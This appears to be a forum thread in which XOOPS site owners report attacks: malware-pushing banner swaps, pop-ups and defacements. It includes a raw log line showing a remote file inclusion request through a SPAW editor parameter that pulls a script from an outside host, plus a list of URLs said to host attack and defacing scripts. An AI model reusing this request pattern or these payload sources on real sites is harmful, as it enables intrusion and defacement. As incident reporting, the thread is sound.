I just set up a test site with 2.2.5 a few days ago, and the banners system was attacked. The default banner (xoops_banner.gif) would come up but them would change to one of those "your computer may be infected" banners within a few seconds. To click it would infect a user's computer. I am also noticing many pop-ups on some XOOPS sites I haven't noticed before.

Anyone else seen any of these things? I am shutting down the test site. I think te whole thing might be corrupted now.

Just saw this post on GIJOE's website: Hackers Group - S4udi-S3cuirty-T3rror.

Could be unrelated but I just had three XOOPS sites destroyed today.

---------------------------------------------------
//modules/cjaycontent/admin/editor2/spaw_control.class.php?spaw_root=http://location-investment.com/admin/backup/testewillie.txt?

Http Code: 200 Date: Nov 08 11:29:21 Http Version: HTTP/1.1 Size in Bytes: 3772
Referer: -
Agent: Mozilla/3.0 (compatible; Indy Library)
---------------------------------------------------

the spaw root sites are many.. Another file used is rox.txt. I'm just digging into it and thought to browse this site to see if anyone is having the same problem..

The following sites are being used for my attack :
http://location-investment.com/admin/backup/testewillie.txt?
http://location-investment.com/admin/backup/rox.txt?
http://www.freewebs.com/nemez1s/perl.txt
http://www.office.bg/sux.txt
http://ir4dex.kit.net/cmd/tool25.dat

DEFACING TOOLZ TOOL25.DAT